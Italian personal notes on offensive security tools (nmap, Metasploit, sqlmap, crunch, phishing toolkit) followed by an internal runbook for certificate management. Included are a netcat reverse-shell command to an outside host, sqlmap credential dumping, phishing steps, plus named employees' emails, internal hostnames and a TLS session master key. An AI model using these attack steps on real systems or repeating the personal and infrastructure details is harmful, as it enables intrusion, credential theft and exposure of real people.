o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

NMAP

nmap –T4 –A –v 10.1.1.1 (Intensive scan in zenmap, effettua una scansione approfondita)

nmap -sn -Pn 192.168.X.0/24 ===> Scansiona la rete specificata

nmap -sN -T4 -Pn -A -sV 192.168.X.Y ===> Scansiona l’host specificato

OPZIONI

-sn ===> scan network

-sS ===> SYN scan. Lascia meno tracce di uno scan completo

-sF ===> FIN scan (invia richieste illegibili e attende la risposta RST del Server. Se la RST non arriva, allora la porta viene considerata chiusa.Nella maggior parte dei casi questo tipo discansioni non lascia tracce nei log)

-sX ===> (Vedi -sF)

-sN = (Vedi -sF)

-D ===> Decoy (esca). Le scansioni vengono effettuate utilizzando un IP Address fittizio (spesso NON funziona su reti switchate)

-T4 ===> Timing Template 4 (da 1 a 5 -> dal piu' lento (1) al piu' veloce (5))

-F ===> Fast Mode. Scansione un numero minore di porte

-Pn ===> Considera tutti gli host del range specificato come attivi (NON effettua ping)

-PO ===> NON pinga il target

-PU ===> Utilizza UDP nella scansione

-PR ===> Utilizza ARP nella scansione

-oN NomeFile.txt ===> Scrive i risultati in un file di testo

-A ===> OS detection, version detection, script scanning, and traceroute

-O ===> OS detection

-p PORT,PORT ===> Specifica la o le singole porte da scansionare

-v ===> Verbose

-n ===> Non risolvere il DNS dell'IP

-f ===> Frammenta i pacchetti per tentare di superare i firewall

-sV ===> service Version

-sC ===> Usa lo script di default

Nmap stringhe comandi più frequenti

nmap –sn 10.1.1.0/24 (-sn = scan network)

nmap –sn 10.1.1.1-254 (-sn = scan network)

nmap –PS 10.1.1.1 (-PS = Port Scanning)

nmap –sU –P0 10.1.1.1 (-sU = scan UDP –P0 = standard ports)

nmap –sU –p 67 10.1.1.1 (-sU = scan UDP -p 67 = interroga solo la porta UDP 67 (DHCP))

nmap –sU –p 67 10.1.1.0/24 (scansiona l’intera rete interrogando la porta UDP 67 (DHCP))

nmap –p 80 10.1.1.0/24 (scansiona l’intera rete interrogando la porta TCP 80 (HTTP))

nmap –p 22,80 10.1.1.1 (scansiona solo le porte 22 e 80 dell'host specificato)

nmap –p 22-80 10.1.1.1 (scansiona tutte le porte nel range da 22 a 80 dell'host specificato)

nmap –PS -O 10.1.1.1 (cerca di ricavare la versione di sistema operativo utilizzato)

nmap –sV –p80 10.1.1.1 (cerca di ricavare la versione di software in ascolto sulla porta TCP specificata)

nmap -A -T4 10.1.1.1 -oN scanreport.txt (Salva i risultati nel file scanreport.txt)

nmap –sSUV –p U:53,67,111,137,T:21-25,80,139,8080 10.1.1.1 (sSUV = s(scan) S(Syn=TCP) U(UDP) V(Version))

(effettua port scan sia UDP che TCP sulle porte specificate)

Scripts

/usr/share/nmap/scripts ===> Directory dei file di script utilizzabili con nmap

nmap 10.1.1.1 --script nome-script-da-utilizzare

nmap 10.1.1.1 --script= nome-script-da-utilizzare

nmap 10.1.1.0/24 --script nome-script-da-utilizzare

SCANNING Web Application Firewall, Intrusion Detection System, Intrusion Prevention System

nmap -p 80,443 --script=http-waf-detect 192.168.56.102

nmap -p 80,443 --script=http-waf-fingerprint www.example.com

wafw00f www.example.com

Nel caso in cui una scansione particolarmente impegnativa impieghi molto tempo, premendo la [barra spaziatrice] verranno visualizzati i dettagli relativi al progresso in percentuale, al tempo trascorso, al tempo rimanente, etc.

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

 

METASPLOIT FRAMEWORK

sudo msfconsole

help ====> Visualizza l'intero set dei comandi

search NomeServizio ====> Cerca tra tutti gli exploit nel DB, quello che ci serve

use percorso/exploit/scelto/nome-exploit ====> Seleziona l'exploit

show options ====> Mostra tutte le opzioni e i parametri possibili con l'exploit selezionato

set RHOST xxx.yyy.www.zzz

set RPORT xxxx

show payloads ====> Mostra tutti i payloads utilizzabili con l'exploit scelto

set payload percorso/payload/scelto/nome-payload

exploit ====> Lancia l'attacco verso l'obiettivo

shell ====> Se l'attaco funziona, apre una shell (bash per Linux e cmd prompt per Windows)

EXPLOIT LOCAL REPOSITORY

Tutti gli exploit disponibili in metasploit si trovano al seguente path:

/usr/share/metasploit-framework/modules/exploits/

PAYLOAD RCE (Remote Command Execution) e Reverse Shell con NetCat (Ncat nc)

A volte puo' capitare che tra i payload disponibili per un dato exploit non ce ne sia nessuno che consente di creare una shell sul sistema remoto, ma semplicemente di eseguire un singolo comando.

Anche in questo caso e' possibile aprire una shell (o una reverse shell) sul target remoto utilizzando NetCat (nc).

*) Sul nostro Sistema Linux Offensive mettiamo nc in ascolto:

nc -lvp 7890

*) Nella configurazione del payload in msfconsole configurare il comando da inviare:

set CMD nc 123.123.123.123 7890 -e /bin/bash

*) Lanciare l'exploit con il comando exploit

*) Attendere qualche secondo e controllare che la connessione sia stabilita

*) Verificare di essere sul sistema remoto con

uname -a

oppure con

hostnamectl

*) Verificare i privilegi con cui si opera:

id

 

 

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

ARMITAGE (MSFConsole GUI)

Armitage e' una versione di Metasploit Framework che utilizza una interfaccia grafica.

COMANDI BASE:

L'interfaccia offre molte opzioni suddivise in diversi menu. Tra le principali troviamo:

*) Nel menu orizzontale troviamo la voce "Host" e sotto di essa:

Hosts

+ Import Hosts ====> Importa i dettagli relativi ad un Host precedentemente esportato

+ Add Hosts ====> Aggiungi l'indirizzo IP di un Host da attaccare

+ Nmap Scan ====> Lancia una scansione tramite Nmap

+ MSF Scan ====> Lancia una scansione tramite Metasploit

La migliore, anche se molto lenta, e' la MSF Scan perche' oltre a scansionare gli IP attivi, scansiona anche i servizi e le relative versioni e vulnerabilita' note

*) Una volta importato l'host desiderato cliccare su "Attacks" quindi su "Find Attacks".

Il sistema effettuera' una scansione alla ricerca dei possibili exploit disponibili.

Al termine della ricerca, se sono stati trovati exploit utilizzabili, cliccando con il tasto destro sull'icona relativa all'host, apparira nel menu verticale una voce che prima non era presente: "Attack"

Sotto la voce Attack si aprira un menu a tendina con tutte le possibili scelte.

Cliccando invece sulla voce "Services", verra' aperta una scheda in basso con l'elenco di tutti i servizi attivi sulla macchina target.

*) Scegliere il servizio che si vuole attaccare

*) Controllare la correttezza dei parametri (IP Address, Port Number, etc.). Se corretti cliccare su "Launch"

*) Una volta che l'exploit e' andato a buon fine, l'icona relativa alla macchina attaccata diventera' rossa e sara' circondata da un fulmine.

*) Nel caso si sia utilizzato un exploit che apre una shell remota, per dare comandi e' necessario cliccare col tasto destro sull'icona e selezionare le voci "Shell 1" e quindi "Interact". Nella parte bassa dello schermo si aprira' una scheda nella quale lanciare i comandi.

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

EXPLOIT VULNERABILITA' RICERCA SFRUTTAMENTO UTILIZZO MANUALE

Nel caso il tool MetaSploit non dovesse offrire risorse, si puo' comunque procedere alla ricerca, all'analisi e allo sfruttamento di eventuali vulnerabilita' con metodi alternativi "vecchia maniera".

ESEMPIO SMB (Samba 3.0.20):

*) Ricerca versione servizi tramite nmap

nmap -sV -sS -A TargetIP

...

445/TCP open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

...

*) Ricercare eventuali Exploit disponibili per la specifica versione del servizio (3.0.20)

searchsploit samba | grep 3.0.20

Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution | exploits/unix/remote/16320.rb

Samba < 3.0.20 - Remote Heap Overflow | exploits/linux/remote/7701.txt

Facendo una ricerca per il file 16320.rb (uno script in Ruby) troviamo il percorso assoluto del file

locate 16320.rb

/usr/share/exploitdb/exploits/unix/remote/16320.rb

*) Ricercare gli Exploit disponibili per la specifica versione del servizio (3.0.20)

1) Su Google incollare la stringa 'Username' map script' Command Execution

oppure

2) Su https://cve.mitre.org cliccare su "Search CVE List" e nel campo apposito incollare la stessa stringa

*) Con uno o l'altro di questi sistemi generalmente si trova un ID di vulnerabilita'. In questo caso:

CVE-2007-2447

*) A questo punto, trovato un ID CVE (Common Vulnerability and Exposure) valido, esaminiamone i dettagli su:

https://www.cvedetails.com/

Inserendo nella barra di ricerca il cve id (CVE-2007-2447)

 

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

SQL MAP

PARAMETRI sqlmap

-o ===> Usa Connessioni persistenti

-threads x ===> Imposta il numero di threads a x

-dbs ===> Trova tutti i DBs

-dbms tipo-di-db ===> Specificare il tipo di db (es. MySQL, MSSQL, PostgreeSQL, Oracle, Access, SAP etc.)

-T nome-tabella ===> ??specifica username dell’account??

-d ===> dump. Scarica il contenuto del db

*) Effettua una scansione e restituisce un report di vulnerabilità e payload utilizzabili

sqlmap -u "URL"

*) Enumera tutti i dbs presenti sul sistema

sqlmap -u "URL" -o -threads 10 -dbms Mysql –dbs

*) Enumera le tabelle di un particolare db

sqlmap -u "URL" -o -threads 10 -dbms Mysql -D nome-db -tables

*) Enumera le colonne di un particolare db

sqlmap -u "URL" -D nome-db -T nome-tabella –columns

*) Dump username e password

sqlmap -u "URL" -D nome-db -T nome-tabella –dump

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

TOR

https://torcheck.xenobite.eu/

https://check.torproject.org/

https://check.torproject.org/exit-addresses ===> Fornisce una lista di IP Exit Node usati da TOR

HIDDEN WIKI DeepWEB Links (liste risorse TOR OnLine)

http://hiddenwikitor.com/

https://torhiddenwiki.com/

https://www.deepwebsiteslinks.com/

https://darkwebnews.com

Grams (Deep Web Search Engine)

Socks Internal Proxy (TORBrowser = Firefox ESR) ===> 127.0.0.1:9150

TOR Chat Internal Proxy ===> 127.0.0.1:9050

Obfs4 (obfuscator protocol)

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

CRUNCH (Password Generator Tool)

crunch è un utility presente in Parrot che permette di generare un file dizionario personalizzato per attacchi Brute Force Dictionary based. L’uso è semplicissimo ed il man del programma è semplice e chiaro.

crunch 4 8 abcdefghijklmnopqrstuvwxyz0123456789 -b 60mb -o START /percorso/cartella/nomefile.dic

*) Il primo numero definisce il numero Minimo di caratteri

*) Il secondo numero definisce il numero Massimo di caratteri

*) -b ===> Impone una dimensione massima per ogni file. Il dizionario sarà quindi splittato in 2 o più files di dimensione massima 60 MB

*) -o START ===> Specificare il percorso ed il nome del file dizionario.

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

PARROT/KALI SOCIAL ENGINEERING WEBSITE TEMPLATE PHISHING

*) Nei vari tool di Parrot/Kali ne troviamo uno che permette di riprodurre sul nostro PC le strutture WEB di molti importanti servizi e siti online (Yahoo, Google Search, Google Mail, etc.)

Questa tecnica funziona solo in locale (nella stessa LAN) e solo se prima è stato modificato il file hosts del PC Target in modo da associare il FQDN www.gmail.com con l'IP Address della nostra macchina "Offensive Distro"

*) Path del file hosts in Windows:

C:\Windows\System32\drivers\etc\hosts

*) Path del file hosts in Linux (Debian):

/etc/hosts

Per richiamare tali funzionalita':

[+] Applicazioni

[+] Parrot

[+] Strumenti di Exploiting (Exploiting Tools)

[+] Social Engineering

[-] social enginnering toolkit

*) Il Tool offre molte funzionalita'. Nel caso specifico impostiamo il nostro PC in modo che appaia come la web page di Google

1) Social-Engineering Attacks

2) Website Attack Vectors

3) Credential Harvester Attack Method

1) Web Templates

*) A questo punto dobbiamo impostare il nostro IP Address. E continuare con le scelte

2) Google

*) Le informazioni immesse dal Target saranno visualizzate nella parte bassa della finestra

o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o-o

CERTIFICATI X509 MINIGUIDA

Procedura Creazione Private Key SSL TLS, Signature Request (csr), Importazione Certificati x509 openssl

I Certificati x509 non sono altro che CHIAVI PUBBLICHE di un sistema di crittografia a chiave ASIMMETRICA.

Diversamente dai sistemi a chiave simmetrica, dove si utilizza la stessa Private Key per criptare e decriptare, nei sistemi a chiave asimmetrica quello che viene criptato con una delle due chiavi puo' essere decriptato SOLTANTO con l'altra chiave della coppia.

In questo modo e' possibile stabilire una connessione sicura tra due endpoint senza la necessita' di scambiarsi (o comunque inviare in qualche modo) la chiave privata, che potrebbe essere intercettata e quindi compromessa.

Con la codifica a chiave asimmetrica il Server (generalmente un Front End) espone il proprio certificato al "pubblico" mantenendo la corrispondente Private Key al sicuro.

Quando un client vuole stabilire una connessione sicura non deve fare altro che prelevare (ed eventualmente importare) il certificato dal Server ed utilizzarlo per codificare il contenuto dei dati da inviare al Server stesso che poi li decodifichera' utilizzando la propria Private Key.

Nei nostri sistemi (SIDT) GENERALMENTE la Private Key va creata sulle macchine Front End, mentre sui Back End GENERALMENTE e' sufficiente importare i certificati dei Sistemi che vengono "chiamati" dalle WebApp e dai WebServices.

------------------------------------------------------------------------

FRONT END

CREARE UNA NUOVA CHIAVE DI CERTIFICATO

*) Da una qualsiasi maccchina che abbia openssl installato, creare il certificato (.key) con il comando:

openssl genrsa -out /home/nomeutente/pda_cert/NomeHost.key 2048

ESEMPIO:

openssl genrsa -out /home/nomeutente/pda_cert/sidt-pagamenti.ilportaledellautomobilista.it.key 2048

RICHIESTA DI SIGNATURE (FIRMA)

*) Una volta creato il certificato, creare la Certificate Signature Request (csr) con il seguente comando:

openssl req -new -sha256 -key chiave.key -out chiave_csr.csr

ESEMPIO:

openssl req -new -sha256 -key /home/nomeutente/pda_cert/sidt-pagamentibe.ilportaledellautomobilista.it.key -out /home/nomeutente/pda_cert/sidt-pagamenti.ilportaledellautomobilista.it.csr

*) All'interno della procedura, inserire le seguenti credenziali:

Country Name (2 letter code) [XX]:IT

State or Province Name (full name) []:Roma

Locality Name (eg, city) [Default City]:Roma

Organization Name (eg, company) [Default Company Ltd]:Postel S.p.A.

Organizational Unit Name (eg, section) []:SicurezzaICT

Common Name (eg, your name or your server's hostname) []:sidt-pagamenti.ilportaledellautomobilista.it

Email Address []:dc-dtt@postel.it

Please enter the following 'extra' attributes

to be sent with your certificate request

A challenge password []: {Premere INVIO per non impostare nessuna password}

An optional company name []:Maurizio Sabbioni

*) Una volta generato il file .csr (Certificate Signature Request) inviarlo a Sicurezza ICT (Carmen Mollica o Andrea Marcheggiani) e attendere in risposta il file .crt

Recapiti email:

sicurezzaict@postel.it

maurizio.sabbioni@postel.it

cmollica@postel.it

amarcheggiani@postel.it

*) Una volta ricevuti i nuovi certificati da Sicurezza ICT è opportuno effettuare un piccolo controllo per verificare la correttezza delle informazioni prima di implementerli definitivamente:

openssl x509 -text -in /etc/pki/tls/private/pagamenti/sidt-pagamenti.ilportaledellautomobilista.it.crt

...

Validity

Not Before: Sep 24 08:16:00 2018 GMT

Not After : Sep 24 08:16:00 2019 GMT

Subject: C=IT, ST=Rome, L=Rome, O=Postel S.p.A, OU=SicurezzaICT, CN=sidt-pagamenti.ilportaledellautomobilista.it

...

----------------------------------------------------------------

ATTIVAZIONE NUOVI CERTIFICATI

*) Per attivare i nuovi certificati per prima cosa occorre copiarli nella corretta Directory. Per sapere qual'è la directory giusta si può procedere in 2 modi:

(!!!! SUI FRONT END !!!!)

1) (NON consigliato) ricercare all'interno del file system il certificato:

locate *.crt

oppure

locate *.cer

oppure

locate *.pem

2) CONSIGLIATO. Aprire ssl.conf e cercare il path contenuto all'interno:

vim /opt/jboss-ews-2.0/httpd/conf.d/ssl.conf

...

SSLCertificateFile /etc/pki/tls/private/pagamenti/sidt-pagamenti.ilportaledellautomobilista.it.crt

...

SSLCertificateKeyFile /etc/pki/tls/private/pagamenti/sidt-pagamenti.ilportaledellautomobilista.it.key

...

*) Una volta copiati i certificati nella directory indicata in ssl.conf, è opportuno effettuare un piccolo controllo per verificare la correttezza delle informazioni prima di implementerli definitivamente:

openssl x509 -text -in /etc/pki/tls/private/pagamenti/sidt-pagamenti.ilportaledellautomobilista.it.crt

...

Validity

Not Before: Sep 24 08:16:00 2018 GMT

Not After : Sep 24 08:16:00 2019 GMT

Subject: C=IT, ST=Rome, L=Rome, O=Postel S.p.A, OU=SicurezzaICT, CN=sidt-pagamenti.ilportaledellautomobilista.it

...

*) Nel caso in cui i vecchi certificati avessero estensioni diverse (.pem o altre), verificare e modificare le relative voci all'interno del file:

(sui FRONT END)

vim /opt/jboss-ews-2.0/httpd/conf.d/ssl.conf

*) Effettuare lo stesso controllo anche sui file di configurazione dei Web Server

vim /opt/jboss-ews-2.0/httpd/sbin/httpd.worker

vim /opt/jboss-ews-2.0/httpd/conf/httpd.conf

*) Generalmente nei file di configurazione non ci sono riferimenti ai certificati ma per scrupolo è sempre bene controllare

*) Una volta verificato che tutte le informazioni sono corrette, basta semplicemente riavviare il demone di Apache (httpd):

/etc/init.d/apache stop

/etc/init.d/apache status

oppure

ps -ef | grep apache

/etc/init.d/apache start

*) Una volta riavviato Apache, controllare nei log che tutto sia andato a buon fine

vim /opt/jboss-ews-2.0/httpd/logs/httpd.log

-----------------------------------------------------------

BACK END

*) Come accennato, generalmente sui BE non è necessario generare la Private Key ma basta IMPORTARE i Certificati dei Server che vengono "chiamati" dalle WebApp e dai WebServices.

Importare un Certificato significa inserirlo in un repository chiamato in genere "cacerts", ma spesso i cacerts sono piu' di uno:

Esempio:

ssoldati@vm-sidt-be1-pag:~$ locate cacerts | egrep 'certs$'

/etc/openldap/cacerts

/etc/pki/ca-trust/extracted/java/cacerts

/etc/pki/java/cacerts

/usr/java/jdk1.6.0_45_orig/jre/lib/security/cacerts

/usr/java/jdk1.6.0_45_patched/jre/lib/security/cacerts

*) Come si puo notare, su ogni BE spesso troviamo molti file cacerts, e il problema diventa capire a quale si deve fare riferimento.

Per prima cosa, prendiamo in considerazione solo quelli che fanno riferimento a java, poi dobbiamo stabilire quale versione jdk è effettivamente attiva sul sistema:

ps -aux | grep java | grep jdk

Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ

jboss 2699 7.8 23.4 12224180 3835624 ? Sl Jun29 11426:07 /usr/java/jdk1.6.0_45_patched/jre/bin/java

...

*) Dall'output del comando vediamo che la versione di java e' la jdk1.6.0_45_patched.

*) Per conferma, listiamo il contenuto della directory di java:

ssoldati@vm-sidt-be1-pag:~$ ls -l /usr/java/

total 72928

lrwxrwxrwx 1 root root 16 Aug 20 2014 default -> /usr/java/latest

lrwxrwxrwx 1 root root 19 Oct 11 2016 jdk1.6.0_45 -> jdk1.6.0_45_patched

drwxr-xr-x 7 root root 4096 Oct 11 2016 jdk1.6.0_45_orig

drwxr-xr-x 7 root root 4096 Oct 11 2016 jdk1.6.0_45_patched

-rw-r--r-- 1 root root 74666279 Oct 13 2016 jdk1.6.0_45_patched.tgz

lrwxrwxrwx 1 root root 21 Aug 20 2014 latest -> /usr/java/jdk1.6.0_45

*) Seguendo i puntamenti dei SymLink vediamo che "latest" punta a "jdk1.6.0_45" che, a sua volta punta a "jdk1.6.0_45_patched"

*) Il cacerts nel quale andra' importato il Certificato sara' dunque:

/usr/java/jdk1.6.0_45_patched/jre/lib/security/cacerts

*) Per sicurezza, prima di qualsiasi altra cosa e' bene creare una copia di backup del cacerts

cd /usr/java/jdk1.6.0_45_patched/jre/lib/security/

cp cacerts cacerts_AAAAMMGG

*) Per procedere all'importazione utilizzare il seguente comando:

/usr/java/jdk1.6.0_45_patched/jre/bin/keytool -importcert -v -trustcacerts -alias nome_alias -file /home/nomeutente/certificato.cer -keystore /usr/java/jdk1.6.0_45_patched/jre/lib/security/cacerts

Password = changeit

*) Una volta importato il certificato nel cacerts, per rendere effettive le modifiche, e' necessario riavviare l'Application Server (JBoss)

/etc/init.d/jboss status

/etc/init.d/jboss stop

/etc/init.d/jboss status

/etc/init.d/jboss start

/etc/init.d/jboss status

=====================================================================

 

UTILITY OPENSSL E JAVA KEYTOOL PER GESTIONE CHIAVI CERTIFICATI E KEYSTORE (cecerts)

/usr/java/jdk1.6.0_45_patched/jre/bin/keytool [comando] [opzioni]

Comandi principali:

-certreq ===> Genera una csr (Certificate Signature Request)

-delete ===> Cancella una entry da un keystore&nbsp;&nbsp;

-exportcert ===> Esporta un certificato

-genkeypair ===> Genera chiavi

-gencert ===> Genera certificati da un csr

-importcert ===> Esegue l'import di un certificato o di una catena

-importkeystore ===> Esegue l'import di un keystore completo

-list ===> Mostra il contenuto del keystore

-printcert ===> Mostra in formato leggibile il contenuto di un certificato

-printcertreq ===> Mostra in formato leggibile di un csr

-storepasswd ===> Cambia la password del keystore (default = changeit)

Ogni comando ha una propria lista di opzioni ed e' richiamabile eseguendo il seguente comando: $JAVA_HOME/bin/keytool -help

Di seguito le opzioni comuni piu' usate ed alcuni esempi:

Opzioni comuni:

-v Abilita la modalita' verbosa

-keystore [keystore] specifica il PATH del keystore. Nel caso in cui non venga specificato il keystore di default e' $HOME/.keystore. Nel caso in cui il keystore specificato o il keystore di default non esiste, viene creato.

-storepass specifica la password del keystore. Nel caso in cui sia omessa, la password viene richiesta in modo interattivo. La password di default per il cacerts delle JVM e' changeit.

-----------------------------------------------------------------------

 

ESEMPIO: GENERARE UN CERTIFICATO SELF SIGNED

*) Criptato con RSA 2048 bit e SHA1

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/certs/key_pdp_locale.key -out /etc/ssl/certs/certificato_pdp_locale.crt

*) Criptato con RSA 1024 bit e SHA256

openssl req -x509 -nodes -sha256 -days 3650 -newkey rsa:1024 -keyout master_ldap_key_202006.key -out master_ldap_cert_202006.pem

*) Con questo comando vengono generati all'interno della directory specificata, sia la chiave privata RSA che il relativo Certificato.

-----------------------------------------------------------------------

ESEMPIO: VISUALIZZARE INFORMAZIONI SU CERTIFICATI

openssl x509 -text -in certificato.pem/.crt

ESEMPIO: VISUALIZZARE INFORMAZIONI SU CHIAVI PRIVATE/PUBBLIC KEY

openssl pkey -text -in chiave.key

 

Check a Certificate Signing Request (CSR)

openssl req -text -noout -verify -in CSR.csr

Check a private key

openssl rsa -in privateKey.key -check

Check a certificate

openssl x509 -in certificate.crt -text -noout

Check a PKCS#12 file (.pfx or .p12)

openssl pkcs12 -info -in keyStore.p12

Debugging Using OpenSSL

If you are receiving an error that the private doesn't match the certificate or that a certificate that you installed to a site is not trusted, try one of these

commands. If you are trying to verify that an SSL certificate is installed correctly, be sure to check out the SSL Checker.

Check an MD5 hash of the public key to ensure that it matches with what is in a CSR or private key

openssl x509 -noout -modulus -in certificate.crt | openssl md5

openssl rsa -noout -modulus -in privateKey.key | openssl md5

openssl req -noout -modulus -in CSR.csr | openssl md5

Check an SSL connection. All the certificates (including Intermediates) should be displayed

openssl s_client -connect www.paypal.com:443

Converting Using OpenSSL

These commands allow you to convert certificates and keys to different formats to make them compatible with specific types of servers or software. For example, you

can convert a normal PEM file that would work with Apache to a PFX (PKCS#12) file and use it with Tomcat or IIS. Use our SSL Converter to convert certificates

without messing with OpenSSL.

Convert a DER file (.crt .cer .der) to PEM

openssl x509 -inform der -in certificate.cer -out certificate.pem

Convert a PEM file to DER

openssl x509 -outform der -in certificate.pem -out certificate.der

Convert a PKCS#12 file (.pfx .p12) containing a private key and certificates to PEM

openssl pkcs12 -in keyStore.pfx -out keyStore.pem -nodes

You can add -nocerts to only output the private key or add -nokeys to only output the certificates.

Convert a PEM certificate file and a private key to PKCS#12 (.pfx .p12)

openssl pkcs12 -export -out certificate.pfx -inkey privateKey.key -in certificate.crt -certfile CACert.crt

https://www.sslshopper.com/article-most-common-openssl-commands.html

https://wiki.openssl.org/index.php/Command_Line_Utilities

 

------------------------------------------------------------------------

ESEMPIO: TESTARE UNA CONNESSIONE SSL TRA CLIENT E SERVER REMOTO

openssl s_client -connect IP_ADDRESS:PORT -CAfile /xxx/yyy/zzz/certificato.xxx

 

*) Testare la connessione tra ldap slave 1 (192.168.20.155) e master ldap Server (192.168.31.75) sulla porta 636 (ldaps)

[root@vmpslave2 CA]# openssl s_client -connect master-ldap.prod.sidt.local:636 -CAfile /etc/openldap/cacerts/ca1.pem

CONNECTED(00000003)

depth=1 C = IT, O = Postecom S.p.A., OU = Servizi di Certificazione, CN = Postecom CA1 Interna

verify error:num=19:self signed certificate in certificate chain

verify return:0

---

Certificate chain

0 s:/C=IT/O=Postecom S.p.A./OU=Servizi di Certificazione/CN=master-ldap.prod.sidt.local

i:/C=IT/O=Postecom S.p.A./OU=Servizi di Certificazione/CN=Postecom CA1 Interna

1 s:/C=IT/O=Postecom S.p.A./OU=Servizi di Certificazione/CN=Postecom CA1 Interna

i:/C=IT/O=Postecom S.p.A./OU=Servizi di Certificazione/CN=Postecom CA1 Interna

---

Server certificate

-----BEGIN CERTIFICATE-----

MIIFHDCCAwSgAwIBAgIIb3ixYyl9WzcwDQYJKoZIhvcNAQELBQAwajELMAkGA1UE

BhMCSVQxGDAWBgNVBAoMD1Bvc3RlY29tIFMucC5BLjEiMCAGA1UECwwZU2Vydml6

aSBkaSBDZXJ0aWZpY2F6aW9uZTEdMBsGA1UEAwwUUG9zdGVjb20gQ0ExIEludGVy

bmEwHhcNMTcwNjE4MTQzMDI1WhcNMjAwNjE3MTQzMDI1WjBxMQswCQYDVQQGEwJJ

VDEYMBYGA1UECgwPUG9zdGVjb20gUy5wLkEuMSIwIAYDVQQLDBlTZXJ2aXppIGRp

IENlcnRpZmljYXppb25lMSQwIgYDVQQDDBttYXN0ZXItbGRhcC5wcm9kLnNpZHQu

bG9jYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCSoD94zDDm/dtU

hDjZjM6Lc5cXZDJYC596jNP1z9gnDIw66gkliW5hrNvsJxNs2SIck2LMWKsONP+j

VG8+nY9P8cc7bp3C0yoZD5azjfVcryhWq/4DzyunFOmWjusrpDkHlgC53v8BNPYG

EUtVn3NNbmLPrl57o9YFdfguixi828QVlSz71RAWEZa3TBGybOjHGgTLKIAbHRi0

b6BrPhgXcY9TtbqI3Ns0v9WB89LeNa9e4KvGpfPo7vN9ZnGnFhqzKbt8pp519gv8

/bqVApVH41GynCu55VULrRGQ123qnOX88zYKTdZFeJ9Txx67YB66uR0IUy/6T1ns

NPKcVh/fAgMBAAGjgb4wgbswHQYDVR0OBBYEFE3HgJ14HizjPcW6DuTan97pbkMz

MAwGA1UdEwEB/wQCMAAwHwYDVR0jBBgwFoAURNvpgfMa25i4nXEFpIOWDyghP9Uw

FAYDVR0gBA0wCzAJBgcrTAsBAQoKMA4GA1UdDwEB/wQEAwIDuDAdBgNVHSUEFjAU

BggrBgEFBQcDAQYIKwYBBQUHAwIwJgYDVR0RBB8wHYIbbWFzdGVyLWxkYXAucHJv

ZC5zaWR0LmxvY2FsMA0GCSqGSIb3DQEBCwUAA4ICAQAbwJ8OwBhc9smFCI/RvHd/

PxsWATTChI69Mnw+UBfRaNNTOwoFFL+pIhc9dorESVRCOBl4ZZq7tLbu82d0FUvy

MhmjcsIeHMIyMltwR2ivezPMxx/aN9wx1wGDGCkmlvwYCEErPwslQGUzLllDrpWW

jJKRZUPYs8QCuhdjh7bWrpLFjc5Dwk07sYZTXDMayz+9YbIm3n7uVeeCK847tXib

fEyj9rJC6k0Nh5gUS2xrma4sIpRltSqhySfSQ/AIu8epEFW9RlodCPqimoEU1qTk

MXhrxVrEaP7GgKf+mRiOzRM+rulpFnlX86b/Wd3X4LoVLg7w1hvECOcvwl08VcX1

Chw0m707i1TUtxL8OgRTCDsk3qn9JigXV15kCvO1bnYxcojzqciZ/pRNYw3x1kyb

HOKPTnDFZWFlu5iWTH4jsQx1hDYXOC0ZhdcatbEuLQ1bat+UoQH5b21rSter98pi

/kUsFn6UhJk4cHI31GcWRO++8SZBuWoh0pUqFZtYGJn5B5EIGlWzOm4d3z8VTjWk

fpgvhaPdElVr/Onmznb3hElSPibop97tfS06ucYU2THgwyIfgWVYNhbEuZC6VELe

AuJzk3f9vyahd3rTbbNwBMSpeCl72VJIWK0nKYfoChDd5EBcAPyWDbGzmtYlr6fA

3yYLEeap1ESxeUG/kfv3FQ==

-----END CERTIFICATE-----

subject=/C=IT/O=Postecom S.p.A./OU=Servizi di Certificazione/CN=master-ldap.prod.sidt.local

issuer=/C=IT/O=Postecom S.p.A./OU=Servizi di Certificazione/CN=Postecom CA1 Interna

---

No client certificate CA names sent

---

SSL handshake has read 3119 bytes and written 565 bytes

---

New, TLSv1/SSLv3, Cipher is AES256-GCM-SHA384

Server public key is 2048 bit

Secure Renegotiation IS supported

Compression: NONE

Expansion: NONE

SSL-Session:

Protocol : TLSv1.2

Cipher : AES256-GCM-SHA384

Session-ID: 4C8D2D857C21A6D7E5697456367ACFCC374D724697D51AFDE1BDDD22F1465755

Session-ID-ctx:

Master-Key: 56844CAF67BDD1A62854F2CB5135C768398C67B19F213E678513C27DEA24166744C85CC65B1B742188BA3406F15F9A49

Key-Arg : None

Krb5 Principal: None

PSK identity: None

PSK identity hint: None

TLS session ticket lifetime hint: 300 (seconds)

TLS session ticket:

0000 - c9 5f a1 c7 5f 44 6d 24-78 e7 f3 e8 1b 14 4e c9 ._.._Dm$x.....N.

0010 - 26 21 56 07 2a 68 31 81-30 5c 52 68 80 55 2d df &!V.*h1.0\Rh.U-.

0020 - d9 25 c5 68 66 46 a7 0f-31 c5 f7 f2 45 4f 0c f2 .%.hfF..1...EO..

0030 - 85 d9 b0 c7 aa de 7f 1d-dc 10 5b 76 d8 01 96 0c ..........[v....

0040 - f0 5f b2 59 08 3f 34 d9-72 78 5e b3 06 8f 1e 8c ._.Y.?4.rx^.....

